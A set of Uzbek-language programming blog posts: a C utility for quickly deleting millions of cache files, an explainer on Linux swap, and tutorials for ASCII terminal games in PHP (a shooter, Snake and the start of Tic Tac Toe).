Bir nechta kompyuterni birgina sichqoncha va klaviatura orqali boshqaramiz

Virtual KVM (Qurilmalarni tarmoq orqali ulashamiz)


Linuxda fayllarni o'chirish uchun juda ko'plab alternativ buyruqlar mavjud. Agarda siz kam hajmdagi fayllar bilan ishlasangiz ushbu utilitalarning o'zi yetib ortadi. Lekin kattaroq hajm uchun alohida yechim talab qilinishi aniq.

Amaliyot bo'yicha tushuntiradigan bo'lsam men texnik xizmat ko'rsatadigan loyihalarning birida auditoriya soni anchagina katta. Shu sababli serverga tushadigan so'rovlarni optimizatsiya qilish uchun bir necha turdagi keshlash prinsiplaridan foydalanganman. Masalan ulardan veb sahifadagi yarim dinamik qismlar va ma'lumotlar bazasidan keladigan select so'rovlar javobini maxsus binary fayllarga yozish hisoblanadi. Lekin, lekin... Kesh fayllar hajmi oshgani sayin ularni tozalash ham o'ziga yarasha muammolar tug'diradi. Masalan mendagi holatda bir kunlik kesh fayllar hajmi 40 gigabaytga teng. Ya'ni maksimal 50 kilobayt fayllardan tashkil topgan millionga yaqin fayllar.

Odatda fayllarni rekursiv shaklda o'chirish uchun linuxda rm va va find utilitalari ishlatiladi.

Misol:

```bash
rm -R /cache/*
find /cache -type f -delete
```

Lekin yuqoridagi har ikki usul avvalo fayllarni rekursiv shaklda tekshirib chiqqani va har bir faylning joylashuvini stdoutga yo'naltirgani sababli o'chirish jarayoni juda ham cho'ziladi. Medagi holatda find uchun bir daqiqadan ko'proq. Rm utilita esa bunday katta hajmdagi fayllani o'chira olmaydi (stdin uchun max 128kb).

Yechim:

Yechim oddiy, C dasturlash tilida streamga yo'naltirilmaydigan qilib kichik utilita yozish. Shuningdek readdir() funksiyasidan foydalanish. Readdir qulayliklaridan biri ro'yxatni xotiraga ko'chirmaydi, bu esa sizda vaqtdan yanada yurish imkonini berishadi.

Ishni feyk fayllardan boshlasak. Jarayonni kuzatish uchun bizga albatta katta hajmdagi fayllarni kerak bo'ladi. Bu uchun esa linuxdagi dd utilitasi orqali /dev/random yordamida feyk fayllar generatsiya qilamiz.

```bash
#!/bin/bash
for (( i=0; i <= 1000; ++i ))
do
 tmpfile=$(mktemp /tmp/fake/abc-script.XXXXXXXXXXXXXXXXXXXXXXXXXX)
 dd if=/dev/urandom of=$tmpfile bs=1M count=$(expr 1 + $RANDOM % 3)
done
```

Keyingi navbat asosiy o'chirish mexanizmiga:

```C
int main(const int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Papka kiritilmadi!\n");
        return -1;
    }

    int all_files = remove_dir_contents( argv[1], false );
    printf("O'chirilgan fayllar: %d\n", all_files);
    return(0);
}
```

Yuqoridagi koddan ko'radigan bo'lsak utilitamiz uchun argument sifatida kerakli papkla berilmoqda. Shundan so'ng remove_dir_contents()funksiyasiga murojaat qilib fayllar o'chirilmoqda. Funksiya esa javob sifatida o'chirilgan fayllar sonini qaytaradi.

Rekursiv jarayonda yana bir holatni hisobga olishimizga to'g'ri keladi. Kiritilgan papka ichida papkalar va fayllar joylashgan bo'lishi mumkin. Agarda sikl ichida fayl kelsa uni shunchaki o'chirish uchun belgilaymiz. Papka holatida esa foydalanuvchi tomonidan berilgan birinchi papka va siklda kelgan papka nomini birlashtirib remove_dir_contents()funskiyasiga qayta argument bilan murojaat qilish lozim. C tezkor dasturlash tili bo'lgani bilan juda ham aqlli emas :) Shu sababli bizga qo'shimcha ikkita matnni bir biriga qo'shib oluvchi funksiya ham kerak bo'ladi .

```C
char *concat(const char *a, const char *b) {
    int lena = strlen(a);
    int lenb = strlen(b);
    char *con = malloc(lena+lenb+1);
    memcpy(con,a,lena);
    memcpy(con+lena,b,lenb+1);
    return con;
}
```

Qolgani esa oddiy. Readdir orqali papkani o'qiymiz, sikl orqali kerakli amalni bajaramiz.

```C
int remove_dir_contents(char* path, bool selfd){
  DIR *d;
  struct dirent *dir;
  d = opendir( path );

  int x = 0;

  if ( d ) {
    while ( ( dir = readdir( d ) ) != NULL) {
      if ( dir->d_name[0] == '.' || dir->d_type == DT_CHR ) {
        continue;
      }else {
        char* fullpath = concat("/", dir->d_name);
        fullpath = concat(path, fullpath);
        if ( dir->d_type == DT_DIR ) {
          x = x + remove_dir_contents( fullpath, true );
          if ( rmdir( fullpath ) != 0){
            printf( "Papkani o'chirishda xatolik:  %s\n", fullpath );
          }else{
            x++;
          }
        }else{
          if ( unlink( fullpath ) != 0){
            printf( "Faylni o'chirishda xatolik:  %s\n", fullpath );
          }else{
            x++;
          }
        }
        free(fullpath);
      }
    }
    closedir(d);
  }

  return x;
}
```

Oldimizda faylni kompiliyatsiya qilish va ishga tushirish sharti qoldi xolos.

```bash
gcc -std=c99 -g remover.c -o remover
// Feyk fayllarni generatsiya qilish olish
bash fake.sh
// Feyk fayllarni o'chirish
./remover /tmp/fake
```

Natija:
![natija](https://telegra.ph/file/d2cb60d0340ad5f2ddfec.png)

Kodlarni to'liq holatda ko'chirib olish:

https://gist.github.com/yetimdasturchi/e173faa252b765852eaa6460a27d43cf


Fayllarni o'chirish uchun qo'lbola kod yozamiz...

rm (remove) uchun qo'lbola alternativ


Har qanday linux os foydalanuvchisini swap qiziqtirgan bo'lishi tabiiy. Linux o'rnatish paytida har doim xotiradan alohida swap uchun joy ajratib ketiladi. Lekin buning nima ekanligidan ko'pchilik boxabar bo'lmasa kerak.

## Swap o'zi nima?

Operatsion tizim turli vazifalar va dasturlarni ishga tushirgan paytda tabiiyki RAM (random access memory) dan foydalanadi. Eski yoki bugungi kunda ham odatiy bo'lgan qurilmalarda yetarlicha tasodifiy xotira mavjud emas. Ya'nikim sizda ish jarayonidagi dasturlar hajmi bu bilan cheklanib qoladi. Siz faqatgina xotira hajmiga mos dasturlarni ishga tushira olasiz xolos. Chegaradan o'tish uchun esa sizga swap yordamga keladi.

Operatsion tizim ish jarayonidagi dasturlar hajmini kuzatib boradi. Agarda dasturlar muammosiz ishlashi uchun RAM yetarlicha bo'lmasa qattiq diskdan foydalanishni boshlaydi. Ya'nikim dasturlarning ma'lum qismi RAMga emas balkim odatiy xotira diski orqali ishlay boshlaydi. Bu bilan esa ish jarayonidagi dasturlarning ishdan chiqishi oldi olinadi. Shuningdek vaqtinchalik foydalanilmayotgan dasturlar ham resurs tejash uchun swap bo'limga o'tkazib turiladi.

## Ish jarayoni

Swap har doim ham kutilgandek natijani bera olmaydi. Tasodifiy xotiradagi ma'lumotlar odatda nanosoniyalar ichida almashadi, biz ko'p holatda tezkor deb bilgan SSD xotirada millisekundlar kerak bu uchun. Misol siz 1GB xotira hajmiga ehtiyojli dasturni RAM va SWAP orqali ishlashini kuzatadigan bo'lsangiz oradagi tezlik 1000 marotaba farq qiladi. Agarda sizda SSD o'rnida HDD bo'lsa farq 100 000 ga yetishi mumkin.

Buni yanada oddiyroq misolda ko'radigan bo'lsak: dastur biror vazifani bajarish uchun 1 soniya vaqt sarflasa, swap orqali bir necha daqiqalarga cho'zilishi mumkin. Chunki sektorlardan ma'lumotlarni o'qish tezligi farq qiladi.

## Swap qaydan holatlarda kerakli?

Agarda sizda RAM hajmi 4GB dan kam bo'lsa swap siz uchun as qotadi. Chunki sizdagi turli ilovalar bunday resurs uchun cho't emasdek bo'lishi mumkin.
Kattaroq dasturlardan kutish rejimida foydalanganda. Masalan video tahrirlovchi yoki shunga o'xshash kattaroq ma'lumotlarni qayta ishlovchi dasturlarda kerak.
Dasturdagi turli xatoliklar sabab katta miqdorda RAM dan foydalanish kuzatilganda.
Agarda qurilmada keraklicha RAM bo'lsa swap kerakmi?

Hozirda kompyuter foydalanuvchilari uchun 32GB yoki 64GB tezkor xotiralar odatiy holatga aylanib qoldi. Qachonlardir qattiq disklar ham bunday hajmda bo'lmagan. Lekin zamon va texnologiya rivojlanib bormoqda.

Albatta agarda sizda 64GB RAM bo'lsa siz unda doim ham to'liq foydalana olmasligingiz mumkin. Lekin tizimning barqarorligi uchun SWAP sizga hech qachon zarar qilmaydi.

## Linux swapsiz ham ishlay oladimi?

Albatta linux hech qanday so'roq javoblarsiz swapsiz ham foydalana oladi. SWAP yuqorida aytilganidek tizim barqarorligini ta'minlash uchun o'ylab topilgan xolos. Agarda sizga barqarorlik muhim bo'lsa SWAPdan har doim foydalaning.

## Menda operatsion tizim swapdan foydalanmayapti?

Odatda RAM to'lib borgach keyingina swapdan foydalanish boshlanadi. Lekin ma'lum bir distrolarda swapdan foydalanish RAM hajmiga mos ravishda ham belgilangan. Ya'ni sizda 1GB RAM mavjud bo'lsa 1GB hajmdagi swap bo'lsagina foydalanishni boshlaydi. Albatta bu ma'lum bir distrolarda kuzatiladi xolos.

## SWAP boshqa operatsion tizimlarda ham mavjudmi?

Albata, swap unix oilasidagi barcha operatsion tizimlarda foydalaniladi. Jumladan macos, FreeBSD ham bundan xoli emas. Qo'shimcha sifatida aytib o'tish kerakki windows operatsion tizimida ham swap prinsipidan foydalanish mumkin. Bu borada internetda turli qo'llanmalar ham mavjud.


Linux swap haqida siz bilmagan ma'lumotlar

Linux swap bu nima?


Avvalgi qismda murakkabroq harakat jarayoniga ega ilon o'yini yaratish haqida so'z olib borilgandi. Ushbu qismda yanada jarayonni mukammalroq qilish uchun **action** doirasida kiradigan otishma o'yini yaratish haqida bosh qotiamiz.

O'yin konsepsiyasiga keladigan bo'lsak ASCII asosida o'yin jadvali o'ngdan chapga tomon harakatlanib boradi. O'yinda o'yinchi kemasi va dushmanlar doimiy harakatlanib boradi. O'yinchi kemasi dushmanlarga tegib ketmagan holatda dushmanlarni o'qga tutishi lozim bo'ladi.

Otishma o'yinini yaratish uchun bir nechta aniqlash kerak bo'lgan elementlar kerak bo'ladi.

1. O'yinchining kemasi.
2. O'yinchiga qarshi harakatlanadigan dushmanlar.
3. O'yinchining kemasi tomonidan otilgan o'qlar.

```php
class Entity {
	public $positionX = 0;
  	public $positionY = 0;

  	public function __construct( $x, $y ) {
    	$this->positionX = $x;
    	$this->positionY = $y;
  	}
}
```

Entity obyekti o'yin uchun kerakli komponentlarni yaratishga ishlatiladi. Qo'shimcha tarzda kema uchun voqea joyida harakatlanishi va dushmanlar tomon o'q uzishi uchun yana bir nechta xususiyatlar ham kerak bo'ladi.

```php
class Spaceship extends Entity {
	public $movementX = 0;
  	public $movementY = 0;
  	public $fire = FALSE;
}

class Enemy extends Entity {}
class Bullet extends Entity {}
```

Umumiy o'yin bitta `Scene` obyekti orqali boshqariladi. Ushbu obyekt o'yin uchun zarur bo'lgan barcha komponentlarni saqlaydi va o'yinni o'yinchi tomonidan boshqarishga imkon beradi. Obyekt konstruktori o'yin sahnasining o'lchamlarini saqlaydi va keyingi bosqichda o'yinchining kema obyektini yaratadi.

```php
class Scene {
	public $height;
  	public $width;

  	public $ship;
  	public $enemies = [];
 	public $bullets = [];
  	public $score = 0;

  	public function __construct( $width, $height ) {
    	$this->width = $width;
    	$this->height = $height;
    	$this->ship = new Spaceship( 2, round( $this->height / 2 ) );
  	}
}
```

Kemani harakatlantirish uchun moveShip() funskiyasini qo'llash kerak bo'ladi. Bu joriy harakat ya'ni x, y ni oladi va uni kemaning joylashuv xususiyatlariga qo'llaydi. O'yinchining sahna chegarasidan tashqariga chiqishiga yo'l qo'ymaslik va yarim yo'l nuqtasiga yetganda kemani to'xtatish uchun harakatlarga ba'zi bir mantiqlar ham qo'llaniladi.

```php
public function moveShip() {
	$this->ship->positionX += $this->ship->movementX;
    $this->ship->positionY += $this->ship->movementY;
    $this->ship->movementX = 0;
    $this->ship->movementY = 0;

    if ( $this->ship->positionX < 0 ) {
	    $this->ship->positionX = 0;
    }
    if ( $this->ship->positionX >= $this->height ) {
	    $this->ship->positionX = $this->height - 1;
	}
    if ( $this->ship->positionY < 0 ) {
	    $this->ship->positionY = 0;
	}
    if ( $this->ship->positionY > $this->width / 4 ) {
	    $this->ship->positionY = $this->width / 4;
	}
}
```

Kemani harakatga keltirish bilan bir qatorda kemadan o'q otishni ham ta'minlash lozim. Kema "o't ochish" rejimida bo'lganda o'qning pozitsiyasi uchun asos sifatida kema turgan joydan foydalanib, yangi o'q obyekti yaratiladi. O'q otilgandan so'ng kema uchun o'q ochish holatini o'chirib qo'yamiz. Ya'ni bir vaqtning o'zida faqat bitta o'q o'tishga ruxsat beramiz.

```php
public function shoot() {
	if ( $this->ship->fire == TRUE ) {
	    $this->bullets[] = new Bullet( $this->ship->positionX, $this->ship->positionY + 1 );
      	$this->ship->fire = FALSE;
	}
}
```

Foydalanuvchi tomonidan kiritilgan hodisalarni kemaga qo'llash uchun avvalgi qismlarda ishlab chiqilgan funksiyalarning ma'lum qismlaridan foydalanamiz. Bu orqali keramani harakatga keltirish, o'q otish kabi amallarni bajarishimiz mumkin bo'ladi. Qo'shimcha tarzda o'yinni to'xtatish uchun **ESC** tugmasini ham tinglashni qo'shamiz.

```php
public function action( $stdin ) {
	$key = fgets( $stdin );
    if ( $key ) {
	    $key = $this->translateKeypress( $key );
      	switch ( $key ) {
	        case "UP":
		        $this->ship->movementX = -1;
          		$this->ship->movementY = 0;
          	break;
        	case "DOWN":
	          	$this->ship->movementX = 1;
          		$this->ship->movementY = 0;
          	break;
        	case "RIGHT":
          		$this->ship->movementX = 0;
          		$this->ship->movementY = 1;
          	break;
        	case "LEFT":
          		$this->ship->movementX = 0;
         	 	$this->ship->movementY = -1;
          	break;
        	case "ENTER":
        	case "SPACE":
          		$this->ship->fire = TRUE;
          	break;
        	case "ESC":
          		exit();
      	}
    }
}
private function translateKeypress( $string ) {
	switch ( $string ) {
	    case "\033[A":
	        return "UP";
		case "\033[B":
	        return "DOWN";
		case "\033[C":
	        return "RIGHT";
		case "\033[D":
	        return "LEFT";
		case "\n":
	       	return "ENTER";
		case " ":
	        return "SPACE";
		case "\e":
	        return "ESC";
	}
    return $string;
}
```

O'qlarni o'yin sahnasi bo'ylab harakatlantirish juda oddiy. Bu uchun shunchaki sahnadagi har bir o'qning y pozitsiyasini oshirish kifoya. Bu o'qlarni gorizontal holatda sahnaning o'ng tomoniga siljishiga yordam beradi.

```php
public function moveBullets() {
	foreach ( $this->bullets as $bullet ) {
	    $bullet->positionY++;
	}
}
```

O'yin jarayonida dushmanlar haqida ham unutmaslik lozim. Quyidagi funksiya o'yin sahnasida doimiy 15 dona tasodifiy dushman haraktini generatsiya qilib beradi. Agarda o'yinchi bir dushmanni yo'q qilsa funksiya massivda kamaygan elementni tasodifiy kordinatada to'ldirib boradi.

```php
public function spawnEnemies() {
	if ( count( $this->enemies ) < 15) {
	    $y = rand( $this->width, $this->width * 2 );
      	$x = rand( 0, $this->height - 1 );
      	$this->enemies[] = new Enemy( $x, $y );
	}
}
```

Dushmanlarni o'yin sahnasida harakatlantirish uchun biroz mantiqiy harakat talab qilinadi. Quyidagi funksiya orqali dushmanni otib tashlash jarayoniga aniqlashtirish mumkin bo'ladi. Agar dushman o'yin sahnasining chap qismiga yetib kelgan bo'lsa uni voqea joyidan hech qanday hodisasiz olib tashlash mumkin. Yoki dushman o'q bilan bir pozitsiyada bo'lsa, ikkalasi ham o'yin sahnadan o'chirishga to'g'ri keladi va o'yinchining umumiy baliga +1 qo'shish kerak bo'ladi.

```php
public function moveEnemies() {
	foreach ( $this->enemies as $enemyId => $enemy ) {
	    $enemy->positionY--;
      	if ( $enemy->positionY == 0 ) {
	        // Dushman sahnaning chap tomoniga taqalgan bo'lsa uni hech qanday hodisasiz olib tashlash lozim.
	        unset( $this->enemies[ $enemyId ] );
        	continue;
		}

      	foreach ( $this->bullets as $bulletId => $bullet ) {
	        if ( $bullet->positionX == $enemy->positionX && ( $bullet->positionY == $enemy->positionY || $bullet->positionY == $enemy->positionY - 1 ) ) {
	          	unset( $this->enemies[ $enemyId ] );
          		unset( $this->bullets[ $bulletId ] );
          		$this->score++;
			}
		}
	}
}
```

Agarda o'yinchi kemasi va dushman bir xil kordinataga mos kelsa o'yinni tugatish kerak bo'ladi.

```php
public function gameOver() {
	foreach ( $this->enemies as $enemy ) {
	    if ( $this->ship->positionX == $enemy->positionX && $this->ship->positionY == $enemy->positionY ) {
	        exit('O\'yin tugadi, dushman kemasi sizni mag\'lub qildi');
	    }
	}
}
```

Yuqoridagi elementlarning barchasi joyida bo'lsa bemalol o'yin sahnasini ishlab chiqish mumkin. Ushbu qayta ishlash usuli sahnaning balandligi va kengligi bo'ylab aylanadi va sahna ichidagi har bir elementni chop etadi.

```php
public function renderGame() {
	$output = '';

	for ( $i = 0; $i < $this->height; $i++ ) {
	    for ( $j = 0; $j < $this->width; $j++ ) {
	        $cell = ( $this->ship->positionX == $i && $this->ship->positionY == $j ) ? '>' : ' ';
        	foreach( $this->enemies as $enemy ) {
	          	if ( $enemy->positionX == $i && $enemy->positionY == $j ) $cell = 'X';
			}
			foreach( $this->bullets as $bullet ) {
	          	if ( $bullet->positionX == $i && $bullet->positionY == $j ) $cell = '-';
			}
        	$output .= $cell;
		}
      	$output .= PHP_EOL;
	}

    $output .= PHP_EOL. 'Ochkolar: ' . $this->score . PHP_EOL;
	return $output;
}
```

O'yinni ishga tushirish uchun balandlik va kenglikga asoslanga `Scene` (Sahna) obyektini yaratish, foydalanuvchidan kelayotgan kiritishilarni aniqlash uchun oqimni tinglovchi cheksiz sikl yaratish lozim.

```php
$scene = new Scene( 50, 10 ); // kenglik, balandlik

system( 'stty cbreak -echo' ); // strdan alohida belgilarni o'qishni belgilash
$stdin = fopen( 'php://stdin', 'r' ); // kiritish oqimini ochish
stream_set_blocking( $stdin, 0 ); // oqimni to'xtovsiz o'qish uchun kiritish satriga to'siq o'rnatish

while ( 1 ) {
  system( 'clear' ); // satrni tozalash
  $scene->action( $stdin ); // Kema uchun harakatlarni belgilash
  $scene->moveShip(); // Kemani harakatga keltirish
  $scene->shoot(); // Otish
  $scene->moveEnemies(); // Dushmanlarni harakatlantirish
  $scene->moveBullets(); // O'qlarni harakatlantirish
  echo $scene->renderGame(); // O'yin sahnasini chop etish
  $scene->gameOver(); // O'yindagi kema holatini kuzatish (O'yinni tugatish jarayoni)
  $scene->spawnEnemies(); // Dushmanlarni generatsiya qilib borish
  usleep(100000);
}
```

Ushbu kod ishga tushirilganda o'yinchining kemasi bilan sahna ko'rsatila boshlanadi. Bir necha soniyadan so'ng dushmanlar paydo bo'la boshlaydi va bo'sh joydan foydalanib, ularga o'q uzish mumkin. Agar o'q dushmanga yetib borsa dushman ochkolar soni +1 hisobda oshirib boriladi.

```
                                       X
                                -- -   X        X
                     - - - -

            - - -                   X     X
     >                              X
                                       X
                          X    X              X


Ochkolar: 1
```

O'yin kodi to'liq variantda: [Github](https://gist.github.com/yetimdasturchi/9be18e7c4e9841c5d72ff1d5b99d1aeb)


PHP dasturlar tilida otishma o'yinini ishlab chiqish...

Php dasturlash tilida o'yin yaratish: 4-qism


Ushbu qismgacha bo'lgan postlar seriyasida foydalanuvchi tomonidan tugmachalarni bosish holatlarini aniqlash va PHP buyruq qatoridan foydalangan holda tic tac toe o'yinini yaratishni ko'rib chiqdik. Keyingi qadam, grafik muhitga ega va real vaqtda foydalanuvchi kiritishiga ega bo'lgan o'yinni yaratishdir.

Bu jarayonni yanada soddaroq tushunish uchun mashhur Snake Xenzia (Ilon o'yini)ni ishlab chiqishdan foydalanamiz. O'yin bir nechta oddiy qoidalarga ega va uni juda oddiy grafik muhitda ham ishlab chiqish mumkin. O'yinning asosiy sharti ilonga olmalarni tanovvul qilishga yordam berib uni o'sib borishini ta'minlash.

Tik tac toe o'yinidan farqli o'laroq, bu yerda jarayonni kuzatish uchun yana bir nechta o'zgaruvchilar mavjud. Yo'naltiruvchi o'zgaruvchilardan foydalanishdan tashqari ularni obyektiga inkapsulatsiya qilish ham kerak. Ilon o'yinida o'yin taxtasini katta massiv sifatida saqlash o'rniga, biz faqat olma va ilonning harakatini kuzatib borishimiz kerak xolos. Bu jarayonni kuzatish uchun `Snake` obtektini yasab olamiz. Ushbu obyekt bizga ilon va olma holatlarini o'zida saqlab borishdan tashqari ularni boshqarish imkonini ham beradi.

```php
<?php
class Snake {
	public $width = 0;
  	public $height = 0;

  	public $positionX = 0;
  	public $positionY = 0;

  	public $appleX = 15;
  	public $appleY = 15;

  	public $movementX = 0;
  	public $movementY = 0;

  	public $trail = [];
  	public $tail = 5;

  	public $speed = 100000;

  	public function __construct( $width, $height ){
    	$this->width = $width;
    	$this->height = $height;

    	$this->positionX = rand( 0, $width - 1 );
    	$this->positionY = rand( 0, $height - 1 );

    	$appleX = rand( 0, $width - 1 );
    	$appleY = rand( 0, $height - 1 );

    	while ( array_search( [ $appleX, $appleY ], $this->trail ) !== FALSE ) {
      		$appleX = rand( 0, $width - 1 );
      		$appleY = rand( 0, $height - 1 );
    	}

    	$this->appleX = $appleX;
    	$this->appleY = $appleY;
  	}
}
```

Snake obyektini yaratish uchun biz shunchaki o'yin taxtasining kengligi va balandligini ko'rsatishimiz lozim.

```php
$snake = new Snake( 20, 30 ); // kenglik, balandlik
```

Ilon o'yinini konsolda ko'rsatish uchun biz ilon obyektini qayta ishlash funksiyasidan foydalanamiz. Ushbu funksiyaning vazifasi ilonni ( X harfi bilan ifodalangan ), olma (0 raqami bilan ifodalangan) bilan birga harakatlanadigan o'yin taxtasini ko'rsatishdir.

```php
function renderGame( $snake ) {
	$output = '';
  	for ( $i = 0; $i < $snake->width; $i++ ) {
    	for ( $j = 0; $j < $snake->height; $j++ ) {
      		$cell = ( $snake->appleX == $i && $snake->appleY == $j ) ? '0' : '.';
      		foreach ( $snake->trail as $trail ) {
        		if ( $trail[0] == $i && $trail[1] == $j ) $cell = 'X';
      		}
      		$output .= $cell;
    	}
    	$output .= PHP_EOL;
  	}

  	$output .= PHP_EOL;
  	return $output;
}
```

Agar biz yaratilgan `Snake` obyektini ko'rsatsak quyidagi natijani ko'ramiz. Obyekt faqat bitta segmentga ega, shuning uchun u o'yin taxtasida bitta X sifatida chop etiladi. G'oya shundan iboratki, o'yinchi harakat qilganda, biz minimal daraja 5 ga yetguncha segmentlarni hosil qilishimiz kerak.

```
..............................
..............................
..............................
..............................
..............................
..............................
..............................
..............................
...X..........................
..............................
..............................
..............................
..............................
..............................
..............................
......................0.......
..............................
..............................
..............................
..............................
```

Yuqoridagi funksiya hozircha qayta ishlashdan boshqa hech narsa qilmaydi, shuning uchun biz ilonga ba'zi harakat mexanikasini qo'shishimiz kerak. Quyidagi funskiya ilon uchun ana shunday harakat mexanikasiga asoslanib yo'nalishni belgilab beradi.

```php
function direction( $stdin, $snake ) {
	$key = fgets( $stdin );
  	if ( $key ) {
    	$key = translateKeypress( $key );
    	switch ( $key ) {
      		case "UP":
        		$snake->movementX = -1;
        		$snake->movementY = 0;
        	break;
      		case "DOWN":
        		$snake->movementX = 1;
        		$snake->movementY = 0;
        	break;
      		case "RIGHT":
        		$snake->movementX = 0;
        		$snake->movementY = 1;
        	break;
      		case "LEFT":
        		$snake->movementX = 0;
        		$snake->movementY = -1;
        	break;
     	}
  	}
}
```

`direction` funksiyasi ilonning o'rnini o'yin taxtasi bo'ylab harakatlanayotgandek yangilash uchun ishlatiladi. Misol uchun, o'ng tomonga harakat tugmasini bosish movementY harakatini 1 ga o'rnatadi, ya'ni har bir yangilanishda ilon o'z harakatini positionY qiymati bo'yicha bittaga oshirib ketadi.

Yuqoridagi mantiqdan foydalanib, ilonni o'yin taxtasi bo'ylab siljitish uchun quyidagi `move()` funksiyasidan foydalananamiz. Ilon o'yin taxtasi chegarasidan o'tmasligini ta'minlagan holda ilon boshining holatini oldinga qo'shish va so'ngra ilon izi effekti hosil qilish uchun qatorning oxirgi elementni olib tashlashimiz kerak. Bu orqali ilon harakati effektini yaratamiz. Shuningdek, biz ilonning "boshi" olma ustida yetib kelganligini tekshirishimiz kerak va agar mantiq rost bo'lsa ilonning uzunligini bittaga oshirib olmani yangi joyga ko'chirish kerak.

```php
function move( $snake ) {
	// Ilonni harakatlantirish.
  	$snake->positionX += $snake->movementX;
  	$snake->positionY += $snake->movementY;

  	// Ilonni o'yin taxtasi chegarasi bo'ylab saqlash.
  	if ( $snake->positionX < 0 ) $snake->positionX = $snake->width - 1;
  	if ( $snake->positionX > $snake->width - 1 ) $snake->positionX = 0;
  	if ( $snake->positionY < 0 ) $snake->positionY = $snake->height - 1;
  	if ( $snake->positionY > $snake->height - 1 ) $snake->positionY = 0;

  	// Ilon izi old qismiga bitta element qo'shish
  	array_unshift( $snake->trail, [ $snake->positionX, $snake->positionY ] );

  	// Aniq uzunlikni saqlagan holda ilondan bitta belgini olib tashlash.
  	if ( count( $snake->trail ) > $snake->tail ) array_pop($snake->trail);

  	if ( $snake->appleX == $snake->positionX && $snake->appleY == $snake->positionY ) {
    	// Ilon olma pozitsiyasiga teng kelishi
    	$snake->tail++;

    	if ($snake->speed > 2000) {
      		// O'yin tezligini ma'lum chegaragacha oshirish
      		$snake->speed = $snake->speed - ( $snake->tail * ( $snake->width / $snake->height + 10 ) );
    	}

    	// Olma pozitsiyasini almashtirish.
    	$appleX = rand( 0, $snake->width - 1 );
    	$appleY = rand( 0, $snake->height - 1 );

    	while ( array_search( [ $appleX, $appleY ], $snake->trail ) !== FALSE ) {
      		$appleX = rand( 0, $snake->width - 1 );
      		$appleY = rand( 0, $snake->height - 1 );
    	}

    	$snake->appleX = $appleX;
    	$snake->appleY = $appleY;
  	}
}
```

O'yin jarayonida tekshirish kerak bo'lgan oxirgi narsa oxirgi kiritilgan harakat ilon o'limiga sabab bo'lganini aniqlash. Ushbu holatni aniqlash uchun bizga ilonning boshi o'z tanasiga tegingani holatlari kerak bo'ladi.

```php
function gameOver( $snake ) {
	if ( $snake->tail > 5 ) {
    	// Agar iz 5 dan katta bo'lsa, oxirgi holatni tekshirish.
    	for ( $i = 1; $i < count( $snake->trail ); $i++ ) {
			if ( $snake->trail[ $i ][ 0 ] == $snake->positionX && $snake->trail[ $i ][ 1 ] == $snake->positionY ) {
        		exit('O\'yin tugadi, ilon o\'ldi');
      		}
    	}
  	}
}
```

O'yin uchun kerak bo'ladigan barcha funksiyalar bizda mavjud. Faqatgina cheksiz sikl orqali o'yin jarayonini boshqarish kerak xolos.

```php
while ( 1 ) {
	system('clear'); // Satrni tozalab borish
  	echo 'Olmalar: ' . $snake->tail . PHP_EOL;
  	direction( $stdin, $snake ); // Ilon yo'nalishini belgilash
  	move( $snake ); // Ilon harakatini boshqarish
  	echo renderGame( $snake ); // O'yin taxtasini chop etish
  	gameOver( $snake ); // Ilon o'limi holatini nazorat qilish
  	usleep( $snake->speed ); // O'yin tezligini belgilash
}
```

[2-qismdagi](2-qism.htm) tic ta toe o'yinidagi sikldan farqli o'laroq ilon o'yini siklida `usleep()` funskiyasi ham qo'shilgan. Ushbu funksiya harakat oralig'idagi pauzani begilab beradi. Ushbu funsksiyasiz ilon juda tez harakat qilib o'yinni o'ynash imkoni mavjud bo'lmay qoladi.

O'yinni ishga ishga tushirganimizda u ekranda quyidagi tartibda ko'rinadi va bemalol ilonni boshqarib ochkolar to'plashimiz mumkin bo'ladi.

```
Olmalar: 24
..............................
..............................
..............................
..............................
..............................
..............................
..............................
..........X...................
..........X...................
..........X0..................
..........XXXX................
..........X..X................
..........X..X................
..........X..X................
..........X..X................
..........X..X................
..........X..X................
..........XXXX................
..............................
..............................
O'yin tugadi, ilon o'ldi
```

O'yin kodi to'liq variantda: [Github](https://gist.github.com/yetimdasturchi/b020651a4b95e4085ee6003bec16af7e)


PHP dasturlar tilida Snake Xenzia o'yinini ishlab chiqish...

Php dasturlash tilida o'yin yaratish: 3-qism


Ushbu qo'llanmaning birinchi qismidan mavjudki bizda foydalanuvchilar tugmalarga daxldor hodisalarni qabul qilish yechimi mavjud. Keyingi navbatda esa soddaroq shakldagi o'yin algoritmini ishlab chiqish hisoblanadi.

Buyruqlar qatoriga mos keladigan o'yinlardan eng soddalaridan biri bu **Tic Tac Toe** bo'lsa kerak. Ushbu o'yin sodda shaklda bo'lib unda o'yin maydoni, harakatlarni belgilash va go'libni aniqlash kabi holatlarni ishlab chiqish bizga jarayonni boshlab olish uchun ancha oson kechadi.

Tic tac toe ikki kishilik o'yin, unga ayni damda ikkinchi shaxs sifatida sun'iy idrokga daxldor kodlar haqida bosh qotirmagan maqul. Shunchaki o'yinni sinab ko'rish va ishga tushirish uchun kontseptsiyani yaratish bu asosiy vazifa hisoblanadi. Shu sababli o'yindagi ikki kishining ham harakatlarini bir satr orqali qilish yechimni yanada osonlashtiradi.

Keling, jarayon osonroq kechishi uchun ishni o'yin qolipidan boshlasak. Tic tac toe 3x3 kataklar orqali o'ynaladi, shuning uchun kodda buni ifodalash uchun bizga uchta sub massivdan iborat 2 o'lchovli massiv kerak bo'ladi. Har bir massiv bloki uchta elementdan iborat. Ushbu format har bir katakning holatini satr yordamida oson saqlashga imkon beradi va o'yinchi o'z navbatini olganida, massivdagi elementlardan biri "X" yoki "O" qiymatiga o'zgarib saqlab borilaveriladi.

```php
$state = [
  ['', '', ''],
  ['', '', ''],
  ['', '', ''],
];
```

Jarayonni amalga oshirish uchun bizga joriy o'yinchi va faol katakni aniqlashtiruvchi yana ikkita o'zgaruvchi kerak bo'ladi. Faol katak - qiymatni joylashtirmoqchi bo'lgan katakchani tanlash uchun o'yin taxtasi bo'ylab qanday harakat qilishimizni belgilab beradi. Faol katak 2 o'lchovli massivdagi elementga mos bo'lishi uchun biz x va y koordinatali qismlarga ega bo'lishimiz kerak.

```php
$player = 'X';
$activeCell = [0 => 0, 1 => 0];
```

